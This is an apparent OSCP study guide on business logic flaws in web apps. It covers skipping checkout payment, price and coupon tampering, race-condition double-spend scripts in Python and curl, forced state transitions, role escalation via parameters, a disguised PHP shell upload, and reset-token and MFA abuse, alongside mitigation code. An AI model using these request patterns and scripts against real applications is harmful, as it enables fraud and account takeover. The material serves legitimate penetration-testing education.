Domain 2Web App AttacksCORE

Business Logic Flaws

Comprehensive guide to business logic vulnerabilities covering workflow bypass, parameter manipulation, race conditions, state machine abuse, and manual testing methodology essential for OSCP.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Business Logic#Workflow Bypass#Race Conditions#Price Manipulation#OSCP

Business Logic Flaws

Overview

Business Logic Flaws (also known as Business Logic Vulnerabilities) occur when an application’s business rules, workflows, or state transitions are not properly enforced. Unlike traditional vulnerabilities such as SQL injection or XSS, business logic flaws represent a failure in the application’s intended behavior rather than a failure in its implementation.

This makes them uniquely challenging: automated scanning tools cannot detect business logic flaws because the application technically works “correctly” from a code perspective — it is the business rules that are missing or incorrectly implemented. Only human analysis and manual testing can reliably identify these vulnerabilities.

Why Business Logic Flaws Are Critical

Characteristic Impact
Undetectable by scanners Burp Scanner, Nessus, and OWASP ZAP will not flag these issues
High business impact Direct financial loss, fraud, and data manipulation
Present in all applications Every web app has business logic that can be flawed
Requires deep understanding Tester must understand the application’s intended workflow
OSCP goldmine Many OSCP machines have business logic flaws as the primary or secondary attack path

Technical Deep Dive

What Makes Business Logic Flaws Unique

Business logic flaws exist because the developer implemented the application’s features but failed to enforce all the necessary constraints. The code runs without errors, the application responds correctly, but the business rules are violated.

Consider an e-commerce checkout flow:

Intended Flow:
  Browse Products → Add to Cart → Enter Shipping → Enter Payment → Process Payment → Confirmation

Flawed Implementation:
  The "Process Payment" step checks if a payment method exists, but does NOT verify
  that the payment was actually authorized by the payment gateway before marking
  the order as "completed."

The application code works perfectly — it processes the order. But the business rule (“payment must be authorized before order completion”) is missing.

Core Categories of Business Logic Flaws

Category Description Real-World Example
Workflow Bypass Skip required steps in a multi-step process Skip payment step in checkout
State Manipulation Force invalid state transitions Change order status from “pending” to “shipped”
Price Manipulation Alter prices, discounts, or quantities Change item price to $0.01 or negative
Quantity Manipulation Use negative, zero, or overflow quantities Order -1 items to receive a refund
Race Conditions Exploit timing gaps in concurrent operations Double-spend a gift card balance
Parameter Tampering Modify hidden or client-side parameters Change user role from “user” to “admin”
Authentication Logic Flaws Bypass auth through logic errors Reset any user’s password via email verification
Authorization Logic Flaws Access resources through workflow gaps View other users’ data via IDOR in business flows
Input Validation Gaps Accept unexpected input types or ranges Upload executable files as “profile pictures”
Multi-Step Inconsistency Different steps validate differently Step 1 allows admin action, Step 2 doesn’t re-check

Exploitation Patterns with Complete Examples

Pattern 1: Workflow Bypass

Scenario: E-Commerce Checkout Bypass

The application has a multi-step checkout process. Each step is a separate HTTP request. The attacker skips the payment step entirely.

Normal Flow:

Step 1: POST /api/cart/confirm
{
    "cart_id": "abc123",
    "items": [{"product_id": 42, "quantity": 1}]
}
→ Response: {"order_id": "ORD-999", "status": "pending_payment"}

Step 2: POST /api/payment/process
{
    "order_id": "ORD-999",
    "card_number": "4111111111111111",
    "expiry": "12/25",
    "cvv": "123"
}
→ Response: {"payment_status": "authorized", "transaction_id": "TXN-456"}

Step 3: POST /api/order/confirm
{
    "order_id": "ORD-999",
    "transaction_id": "TXN-456"
}
→ Response: {"order_status": "completed", "message": "Order confirmed"}

Attacker Flow (Skip Payment):

Step 1: POST /api/cart/confirm
{
    "cart_id": "abc123",
    "items": [{"product_id": 42, "quantity": 1}]
}
→ Response: {"order_id": "ORD-999", "status": "pending_payment"}

Step 2: [SKIPPED - No payment made]

Step 3: POST /api/order/confirm
{
    "order_id": "ORD-999",
    "transaction_id": ""          ← Empty or fake transaction ID
}
→ Response: {"order_status": "completed", "message": "Order confirmed"}
         ← VULNERABLE: Server did not verify payment was authorized!

Detection Methodology:

  1. Map every step of the workflow using Burp Suite proxy
  2. Identify which steps perform validation and which are purely cosmetic
  3. Try skipping each step individually
  4. Try reordering steps (e.g., confirm before payment)
  5. Try repeating steps (e.g., submit payment twice)

Pattern 2: Price and Quantity Manipulation

Scenario: Client-Side Price Control

The application sends the product price to the client and accepts it back in the order request.

Original Request:

POST /api/cart/add HTTP/1.1
Content-Type: application/json

{
    "product_id": 1234,
    "quantity": 1,
    "price": 999.99
}

Manipulated Requests:

// Price set to minimum
{
    "product_id": 1234,
    "quantity": 1,
    "price": 0.01
}

// Price set to zero
{
    "product_id": 1234,
    "quantity": 1,
    "price": 0
}

// Negative price (may trigger a refund!)
{
    "product_id": 1234,
    "quantity": 1,
    "price": -999.99
}

// Negative quantity (return items for credit)
{
    "product_id": 1234,
    "quantity": -1,
    "price": 999.99
}

// Floating point manipulation
{
    "product_id": 1234,
    "quantity": 1,
    "price": 0.001
}

// String instead of number (type confusion)
{
    "product_id": 1234,
    "quantity": 1,
    "price": "free"
}

// Scientific notation
{
    "product_id": 1234,
    "quantity": 1,
    "price": 1e-10
}

Scenario: Coupon and Discount Abuse

// Apply same coupon multiple times
POST /api/cart/apply-coupon
{"coupon_code": "SAVE50", "cart_id": "abc123"}
→ Repeat this request 10 times

// Stack multiple coupons (if not prevented)
POST /api/cart/apply-coupon
{"coupon_code": "SAVE50", "cart_id": "abc123"}
POST /api/cart/apply-coupon
{"coupon_code": "WELCOME20", "cart_id": "abc123"}
POST /api/cart/apply-coupon
{"coupon_code": "VIP10", "cart_id": "abc123"}

// Use expired coupon by manipulating dates
POST /api/cart/apply-coupon
{"coupon_code": "EXPIRED2023", "cart_id": "abc123", "date": "2026-08-31"}

Pattern 3: Race Conditions

Technical Explanation

A race condition occurs when the application’s behavior depends on the sequence or timing of uncontrollable events. In web applications, this typically means two or more requests are processed concurrently, and the application does not properly handle the concurrent state changes.

The Time-of-Check to Time-of-Use (TOCTOU) Pattern:

Thread 1:                    Thread 2:
Check balance: $100          Check balance: $100
Deduct $100                  Deduct $100
New balance: $0              New balance: $0
                              (Should be: -$100, but both checks passed!)

Scenario: Double-Spend via Race Condition

# Using Burp Intruder with Cluster Bomb or Pitchfork attack
# Send 20 requests simultaneously to exploit the race window

# Using Python with threading
import requests
import threading

def make_transfer(session_id):
    url = "https://target.com/api/transfer"
    headers = {"Cookie": f"session={session_id}"}
    data = {"from": "gift_card", "to": "wallet", "amount": 50}
    requests.post(url, headers=headers, json=data)

# Launch 20 concurrent requests
threads = [threading.Thread(target=make_transfer, args=("SESSION_ID",)) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

# Result: $50 deducted 20 times = $1000 transferred from $100 balance

Scenario: Coupon Race Condition

# Apply a single-use coupon simultaneously from multiple requests
for i in {1..10}; do
    curl -X POST https://target.com/api/apply-coupon \
        -H "Content-Type: application/json" \
        -H "Cookie: session=ABC123" \
        -d '{"coupon_code":"ONCE50","cart_id":"CART-001"}' &
done
wait
# Result: Coupon applied 10 times instead of once

Race Condition Detection Tools:

Tool Purpose Key Features
Burp Turbo Intruder High-speed request flooding Python scripting, concurrent requests
catcher Race condition detection Automated detection, multiple strategies
multiracer Race condition exploitation Configurable concurrency, result analysis

Burp Turbo Intruder Script Example:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=20,
                           pipeline=False)

    for i in range(200):
        engine.queue(target.req, target.baseInput)
    engine.start(timeout=30)
    engine.complete(timeout=60)

    # Analyze responses for successful exploitations
    for response in engine.responses:
        if "success" in response.response.lower():
            print(f"[+] Successful race condition exploit!")

Pattern 4: State Machine Abuse

Technical Explanation

Many applications implement a state machine where objects (orders, tickets, accounts) transition between states. If the application allows direct state transitions without following the intended path, an attacker can force invalid transitions.

Intended State Machine:

Draft → Submitted → Under Review → Approved → Completed
                ↓
           Rejected (terminal)

Attack: Force Invalid Transition:

# Normal: Draft → Submitted
POST /api/ticket/update
{"ticket_id": "TK-100", "status": "submitted"}

# Attack: Skip to Approved (bypass review)
POST /api/ticket/update
{"ticket_id": "TK-100", "status": "approved"}
→ If server doesn't validate the transition, the ticket is approved without review!

# Attack: Skip to Completed
POST /api/ticket/update
{"ticket_id": "TK-100", "status": "completed"}

Scenario: Refund State Manipulation

# Normal refund flow
POST /api/order/refund
{"order_id": "ORD-500"}
→ Status: refund_requested → refund_processing → refund_completed

# Attack: Force completion
POST /api/order/refund
{"order_id": "ORD-500", "refund_status": "refund_completed"}
→ If the status field is trusted, refund is completed instantly

Pattern 5: Parameter Tampering in Business Flows

Scenario: Role and Permission Manipulation

# During registration
POST /api/register
{
    "username": "attacker",
    "email": "attacker@evil.com",
    "password": "password123",
    "role": "user"          ← Change to "admin"
}

# During profile update
PUT /api/profile
{
    "user_id": 1001,
    "is_verified": false    ← Change to true
    "is_premium": false     ← Change to true
    "account_limit": 100    ← Change to 999999
}

Scenario: File Upload Business Logic

# Upload a file with manipulated parameters
POST /api/upload
Content-Type: multipart/form-data

------Boundary
Content-Disposition: form-data; name="file"; filename="report.pdf"
Content-Type: application/pdf

[Actually a PHP shell disguised as PDF]
------Boundary
Content-Disposition: form-data; name="file_type"
document              ← Change to "executable" or bypass type check
------Boundary

Pattern 6: Authentication Logic Flaws

Scenario: Password Reset Abuse

# Step 1: Request password reset for victim
POST /api/password-reset/request
{"email": "victim@target.com"}
→ System sends reset token to victim's email

# Step 2: Check if the reset token is predictable
# Try common patterns: sequential numbers, timestamps, MD5 hashes

# Step 3: If token is sent via URL and logged
# Check server logs, referer headers, or error messages for token leakage

# Step 4: Account takeover with stolen/predicted token
POST /api/password-reset/confirm
{"email": "victim@target.com", "token": "STOLEN_TOKEN", "new_password": "hacked"}

Scenario: Multi-Factor Authentication Bypass

# MFA code sent via SMS
POST /api/mfa/verify
{"phone": "+1234567890", "code": "123456"}

# Try:
# - Code "000000" or "123456" (default/weak codes)
# - Empty code (if validation is missing)
# - Code from previous attempt (if not invalidated)
# - Race: Submit code before it expires by manipulating timestamps

Complete Testing Methodology

Phase 1: Application Mapping

  1. Create a user account and explore every feature
  2. Document all workflows — draw flowcharts of each process:
    • Registration → Login → Profile → Settings
    • Browse → Cart → Checkout → Payment → Confirmation
    • Create → Edit → Delete → Approve → Publish
  3. Identify all HTTP requests in each workflow using Burp Suite
  4. Note all parameters — visible, hidden, cookies, headers

Phase 2: Rule Identification

For each workflow, identify the business rules:

Workflow Business Rules to Test
Registration Can I register with existing email? Can I set admin role? Can I skip email verification?
Checkout Can I skip payment? Can I change price? Can I use negative quantity?
Payment Can I double-spend? Can I use expired coupon? Can I stack coupons?
Profile Can I change email to someone else’s? Can I view other users’ data?
File Upload Can I upload executables? Can I change file type? Can I upload to arbitrary paths?
Password Reset Is the token predictable? Can I reset without email access? Can I reset any account?

Phase 3: Systematic Testing

For each request in each workflow:

  1. Modify parameter values — change numbers, strings, booleans, types
  2. Remove parameters — see if validation is missing
  3. Add parameters — try injecting extra fields
  4. Change parameter types — string to number, number to array, etc.
  5. Reorder steps — perform Step 3 before Step 2
  6. Skip steps — go directly to the final step
  7. Repeat steps — submit the same request multiple times
  8. Concurrent requests — send multiple requests simultaneously
  9. Cross-user testing — try accessing other users’ resources

Phase 4: Edge Case Testing

Test Type Examples
Boundary values 0, -1, MAX_INT, empty string, null, undefined
Type confusion "1" instead of 1, ["1"] instead of 1, {"val": 1} instead of 1
Overflow Very large numbers, very long strings, maximum array sizes
Encoding Unicode, base64, hex encoding of parameter values
Timing Rapid successive requests, delayed requests, concurrent requests

Mitigation Strategies

Defense-in-Depth Approach

Strategy Implementation Protects Against
Server-Side Validation Validate ALL business rules on the server, never trust client data Price manipulation, parameter tampering
State Machine Enforcement Define valid state transitions explicitly; reject invalid transitions State manipulation, workflow bypass
Idempotency Keys Require unique keys for state-changing operations; reject duplicates Race conditions, double submission
Database Constraints Use database-level constraints (CHECK, UNIQUE, FOREIGN KEY) Data integrity violations
Atomic Transactions Wrap multi-step operations in database transactions Partial state changes, race conditions
Audit Logging Log all business-critical operations with full context Detection, forensics, deterrence
Rate Limiting Limit request frequency per user/IP Automated abuse, brute force
Price Server-Side Look up prices from the database, never accept client-provided prices Price manipulation
Token Expiration Short-lived, single-use tokens for sensitive operations Token replay, prediction
Comprehensive Testing Manual testing of all business flows by security testers All business logic flaws

Code Example: Secure Checkout Implementation

# SECURE: Server-side price validation with atomic transaction
from decimal import Decimal
from database import get_product_price, get_user_balance, update_balance

def process_order(user_id, cart_items):
    # Start atomic transaction
    with db.transaction():
        total = Decimal('0')

        for item in cart_items:
            # CRITICAL: Look up price from database, NOT from client input
            product = db.get_product(item['product_id'])
            unit_price = product.price  # Server-authoritative price
            quantity = max(1, int(item.get('quantity', 1)))  # Enforce minimum

            # Validate stock availability
            if product.stock < quantity:
                raise InsufficientStockError()

            total += unit_price * quantity

        # Verify user has sufficient balance (within transaction)
        user_balance = get_user_balance(user_id)
        if user_balance < total:
            raise InsufficientFundsError()

        # Deduct balance atomically
        update_balance(user_id, -total)

        # Create order with server-computed total
        order = db.create_order(user_id, cart_items, total)

        # Mark as pending payment (NOT completed)
        order.status = 'pending_payment'
        order.save()

    # Payment processing happens separately with its own validation
    return {'order_id': order.id, 'total': total, 'status': 'pending_payment'}

Code Example: Race Condition Prevention

# Using database-level locking to prevent race conditions
def transfer_funds(from_account, to_account, amount):
    with db.transaction():
        # Lock the source account row to prevent concurrent modifications
        source = db.query(
            "SELECT * FROM accounts WHERE id = %s FOR UPDATE",
            from_account
        ).one()

        if source.balance < amount:
            raise InsufficientFundsError()

        source.balance -= amount
        source.save()

        dest = db.query(
            "SELECT * FROM accounts WHERE id = %s FOR UPDATE",
            to_account
        ).one()

        dest.balance += amount
        dest.save()

    # Transaction commits atomically - either both succeed or both fail

OSCP Exam Relevance

Why Business Logic Flaws Are Critical for OSCP

Business logic flaws are one of the most common vulnerability types on OSCP exam machines. They appear because:

  1. They are realistic — real-world applications have business logic flaws
  2. They test methodology — the exam evaluates your ability to think like an attacker
  3. They lead to privilege escalation — bypassing business rules often grants admin access
  4. They complement other vulnerabilities — combine with SQLi, XSS, or file upload for full exploitation

Common OSCP Business Logic Scenarios

Machine Type Typical Business Logic Flaw Exploitation Path
E-Commerce Price manipulation in cart Buy admin-only items for free
Blog/CMS Workflow bypass in content approval Publish malicious content as admin
Banking Race condition in fund transfer Double-spend or overdraft
Booking System State manipulation in reservation Book without payment
Forum Parameter tampering in user roles Escalate to moderator/admin
Vulnerable Web App Missing validation in multi-step forms Skip authentication steps

OSCP Testing Checklist for Business Logic

  • Map every workflow end-to-end
  • Intercept and modify every request in each workflow
  • Try skipping steps in multi-step processes
  • Try reordering steps
  • Modify all numeric parameters (prices, quantities, IDs, amounts)
  • Try negative values, zero, and very large values
  • Change boolean parameters (true/false, 0/1)
  • Change string parameters (roles, statuses, types)
  • Remove required parameters and see what happens
  • Add unexpected parameters
  • Test concurrent requests for race conditions
  • Test with different user roles
  • Try accessing other users’ resources
  • Test file upload restrictions thoroughly
  • Test password reset and account recovery flows
  • Check if hidden form fields can be modified

OSCP Tips

  • Take notes as you go — document every workflow and its requests
  • Use Burp Suite’s “Compare” feature to see differences between requests
  • Replay modified requests using Burp Repeater to test variations quickly
  • Think about what the application SHOULD do vs. what it ACTUALLY does
  • Don’t overlook simple parameter changes — sometimes changing role=user to role=admin works
  • Test every numeric field — prices, quantities, IDs, limits, thresholds
  • Race conditions are often the key on machines with financial or booking functionality
  • Combine findings — a small logic flaw + SQLi = full compromise

Summary

Business logic flaws represent a fundamental category of vulnerability that cannot be detected by automated tools. They require the tester to understand the application’s intended behavior and then systematically test whether that behavior is properly enforced. The key mindset is: “What should this application NOT allow, and can I make it allow it anyway?”

In OSCP scenarios, business logic flaws are frequently the difference between a partial compromise and full system access. They often serve as the privilege escalation path after initial access, or as the primary attack vector when combined with other vulnerabilities. The most effective approach is methodical: map every workflow, identify every business rule, and test every possible violation.

The defense against business logic flaws is equally methodical: implement server-side validation for all business rules, enforce state machines with explicit transition rules, use atomic transactions for concurrent operations, and conduct thorough manual testing of all application workflows.